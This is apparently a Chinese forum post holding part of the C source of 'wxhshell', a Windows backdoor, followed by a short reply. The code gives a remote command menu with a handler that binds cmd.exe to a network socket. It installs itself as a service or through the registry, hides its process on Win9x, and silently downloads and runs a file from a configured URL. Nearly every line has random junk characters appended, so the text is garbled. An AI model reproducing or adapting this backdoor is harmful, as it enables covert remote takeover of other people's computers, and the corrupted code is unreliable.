  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ({C[RsY=6  
  } vxk0@k_  
  else { ulW>8bW&  
ge?or]T1S  
    switch(cmd[0]) { c;"e&tW  
  UcB&p t&  
  // 帮助 T{^mh(3/"  
  case '?': { NrXIaN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GT] >  
    break; Hik=(pTu>  
  } 4[kyzz x  
  // 安装 4OJD_  
  case 'i': { @73kry v  
    if(Install()) =X5w=(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XY? Cl  
    else H?Sv6W.~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g| 3bM  
    break; S},Cz  
    } )i:*r8*~  
  // 卸载 Bnk<e  
  case 'r': { F Xr\  
    if(Uninstall()) <+ [N*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5HHf3E [  
    else j-**\.4a~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\&r\!=  
    break; e>c -b^{&  
    } 8pr toCB  
  // 显示 wxhshell 所在路径 |X XO0  
  case 'p': { }s'=w]m  
    char svExeFile[MAX_PATH]; EyU6^  
    strcpy(svExeFile,"\n\r"); jwLZC  
      strcat(svExeFile,ExeFile); Y-1K'VhT  
        send(wsh,svExeFile,strlen(svExeFile),0); t$t'{*t( T  
    break; I;wxgWOP  
    } 4 Cd5-I  
  // 重启 `\"<%CCe  
  case 'b': {  Rm)hgmZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QbSLSMoL  
    if(Boot(REBOOT)) 7\yh(+kN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X|!@%wuGC  
    else { 8mdVh\i!Kf  
    closesocket(wsh); gq*W 0S  
    ExitThread(0); $`\qY ^.(  
    } h~qvd--p0  
    break; _!,2"dS  
    } ~}ifwm'7 a  
  // 关机 OIw[sum2  
  case 'd': { XI$W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z{l`X#':  
    if(Boot(SHUTDOWN)) E'mT%@M OM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2V;6N  
    else { UfO='&U^  
    closesocket(wsh); Y$Rte .?  
    ExitThread(0); ac@\\2srV  
    } m;xa}b{(i  
    break; 1/ j >|  
    } ]lyQ*gM  
  // 获取shell <liprUFsn  
  case 's': { d^tY?*n  
    CmdShell(wsh); W]bytsl  
    closesocket(wsh); N:pP@o  
    ExitThread(0); Yg&/^  
    break; ZR)M<*$  
  } ,+OVRc  
  // 退出 @Q nKaZ8jW  
  case 'x': { 1\/vS$bi(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Si23w'T  
    CloseIt(wsh); ]Y->EME:W  
    break; "B"ql-K  
    } v5?)J91  
  // 离开 Q (gA:aQ  
  case 'q': { ^j pQfDe6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,d.5K*?aI  
    closesocket(wsh); Ji=`XsV  
    WSACleanup(); s{X+0_@Q  
    exit(1); &jg>X+;  
    break;  4y5Q5)j  
        } YB)I%5d;{  
  } %Rr_fSoV  
  } TL$w~dY  
/&@q*L  
  // 提示信息 cR55,DR,#W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &io+*  
} ]JmE(Y1(1  
  } ?uP5("c  
tOk=m'aUK  
  return; b rDyjh  
} wXdt\@Qr  
E/1:4?1 S  
// shell模块句柄 "9*MSsU  
int CmdShell(SOCKET sock) mdmJne.  
{ bng/v  
STARTUPINFO si; u~'_Uqp  
ZeroMemory(&si,sizeof(si)); t v`c" Pb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "_BWUY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,PKUgL}w  
PROCESS_INFORMATION ProcessInfo; i"DyXIrk2  
char cmdline[]="cmd"; 6y?uH; SL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0d~?|Nv -  
  return 0; 3a U4Z|f~  
} 0R]'HA>  
y6G6wk;  
// 自身启动模式 c5Kc iTD^  
int StartFromService(void) 1guiuR4  
{ PuBE=9,  
typedef struct HG5E,^1n  
{ g*4^HbVxt  
  DWORD ExitStatus; 2*n~r  
  DWORD PebBaseAddress; K^b'<} $|p  
  DWORD AffinityMask; 8yZs>Og?  
  DWORD BasePriority; 2`FDY3n  
  ULONG UniqueProcessId; G/(tgQ  
  ULONG InheritedFromUniqueProcessId; <{Rz1CMc  
}   PROCESS_BASIC_INFORMATION; #&K}w 0}k  
=6fJUy^M\  
PROCNTQSIP NtQueryInformationProcess; gKWUHlQY  
:V)=/mR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nx{X^oc8e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yfz`or\@=  
00Ye ]j_  
  HANDLE             hProcess; /kO%aN  
  PROCESS_BASIC_INFORMATION pbi; k$7Kz"  
v//Drj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J~ z00p`E  
  if(NULL == hInst ) return 0; C,<FV+r=^  
b'`C<Rk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u+pZ<Bb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X:(t,g*7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Qu|9Q[QH  
,v9*|>4  
  if (!NtQueryInformationProcess) return 0; mMK 93Ng"&  
|B\76Nk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Orlf5 {P  
  if(!hProcess) return 0; wu} Zu  
OeQ~g-n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2>^jMln  
Ff[GR$m  
  CloseHandle(hProcess); ,!^;<UR:  
'|yBz1uL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &?9~e>.OS  
if(hProcess==NULL) return 0; 9N<TJp,q  
e~6>8YO+7j  
HMODULE hMod; "haJwV6-  
char procName[255]; lt0byn$vz  
unsigned long cbNeeded; 0y;1D k!  
0\o5+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tx$bg(  
@@6c{r^P  
  CloseHandle(hProcess); bW^{I,b<F  
H5A7EZq}`  
if(strstr(procName,"services")) return 1; // 以服务启动 C'joJEo  
_xo;[rEw8  
  return 0; // 注册表启动 I-/-k.  
} H+N6VVnO  
)6U^!95  
// 主模块 {_jbFJ  
int StartWxhshell(LPSTR lpCmdLine) m*>gG{3;  
{ U/{#~P5s  
  SOCKET wsl; +,4u1`c|$  
BOOL val=TRUE; -&LF`V&3w  
  int port=0; Ot~buf'|  
  struct sockaddr_in door; 'u:J "  
_6\"U5*Y  
  if(wscfg.ws_autoins) Install(); rJCu6  
zm=|#f  
port=atoi(lpCmdLine); f"G-',O<  
<im<0;i&e  
if(port<=0) port=wscfg.ws_port; ]P4?jKI  
 ]l=iKl  
  WSADATA data; " 8g\UR"[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zIc_'Z,b  
tAS[T9B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kOv37c'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tr%VYc|}  
  door.sin_family = AF_INET; _qSVYVJ u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n,b6|Y0  
  door.sin_port = htons(port); VP6_}9:9   
H:`H4 S}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { En YEAjX  
closesocket(wsl); #UqE %g`J  
return 1; Ev1gzHd!i  
} cIXqnb  
iY3TB|tMt  
  if(listen(wsl,2) == INVALID_SOCKET) { :}Z Y*ind  
closesocket(wsl); s'k} .}  
return 1; 'M% uw85  
} lxtt+R  
  Wxhshell(wsl); 8:"s3xaO3  
  WSACleanup(); LOe l6Ui  
jFwJ1W;?-  
return 0; x8RiYi+  
7Q # A  
} $&. rS.*  
7y=1\KW(  
// 以NT服务方式启动 G,,f' >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $NwPGy?%  
{ G5!!^p~  
DWORD   status = 0; .N  Z  
  DWORD   specificError = 0xfffffff; G$6mtw6[M  
6:`4bo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lv:;}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J''lOj(@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X="]q|Z  
  serviceStatus.dwWin32ExitCode     = 0; x3 01uf[  
  serviceStatus.dwServiceSpecificExitCode = 0; v=x)]<E" _  
  serviceStatus.dwCheckPoint       = 0; MQl GEJ  
  serviceStatus.dwWaitHint       = 0; jluv}*If  
OA&r8WK3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X-cP '"  
  if (hServiceStatusHandle==0) return; gmtS3,  
$~'G<YYF4  
status = GetLastError(); e@g=wN"@  
  if (status!=NO_ERROR) X@%4N<  
{ nSq$,tk(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XPMvAZL  
    serviceStatus.dwCheckPoint       = 0; ` 6pz9j]  
    serviceStatus.dwWaitHint       = 0; Q@cYHFi~+  
    serviceStatus.dwWin32ExitCode     = status; /_tN&[  
    serviceStatus.dwServiceSpecificExitCode = specificError; j`_tb   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )T'~F  
    return; @g1T??h   
  } ^2"w5F  
6\6g-1B`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nC#SnyUO  
  serviceStatus.dwCheckPoint       = 0; &IkHP/  
  serviceStatus.dwWaitHint       = 0; A}sdi4[`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r z5@E  
} -8&P1jrI  
L^L.;1  
// 处理NT服务事件,比如:启动、停止 J|e3 UikA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |i- S}M  
{ L+0O=zJF  
switch(fdwControl) |kqRhR(Ei  
{ 3OJGBiDAr  
case SERVICE_CONTROL_STOP: &}VVr  
  serviceStatus.dwWin32ExitCode = 0; &[ $t%:`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h{CyYsQ  
  serviceStatus.dwCheckPoint   = 0; ?r^>Vk}  
  serviceStatus.dwWaitHint     = 0; 6tup^Rlo;$  
  { p?x]|`M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U6~79Hnt  
  } c5t7X-LB  
  return; >;~ia3  
case SERVICE_CONTROL_PAUSE: $K_-I8e|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sDyt3xN  
  break; x24&mWgU  
case SERVICE_CONTROL_CONTINUE: nT@FS t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gO kum_  
  break; =${ImMwj  
case SERVICE_CONTROL_INTERROGATE: u(4o#m  
  break; DC*6=m_  
}; Z%7X"w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5h p)Z7  
} +}NQ |y V  
[ejl #'*5  
// 标准应用程序主函数 r[AqA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y_{v&AGmgm  
{ kl#) 0yqN0  
l"9$lF}  
// 获取操作系统版本 Klqte*!  
OsIsNt=GetOsVer(); VPOp#;"%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9f$3{ g{m  
~lH2# u>g  
  // 从命令行安装 \"$jj<gc  
  if(strpbrk(lpCmdLine,"iI")) Install(); vPx#TXY=b}  
{D4N=#tl  
  // 下载执行文件 Ir3|PehB  
if(wscfg.ws_downexe) { G/V0Yn""  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Y/k /)Ul]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2G }@s.iE  
} #\MkbZc d  
yeN(_t2.  
if(!OsIsNt) { TV(%e4U=  
// 如果时win9x,隐藏进程并且设置为注册表启动 K2-nP2Go?  
HideProc(); vXibg  
StartWxhshell(lpCmdLine); 5z"[{ #/  
} qim|=  
else ~JohcU}d  
  if(StartFromService()) KL8WT6!RZ  
  // 以服务方式启动 kI/%|L%6D  
  StartServiceCtrlDispatcher(DispatchTable); }r:8w*4 7  
else *+<H4.W H  
  // 普通方式启动 _OR[RGy  
  StartWxhshell(lpCmdLine); hPrE  
/5C>7BC  
return 0; >I9|N}I  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八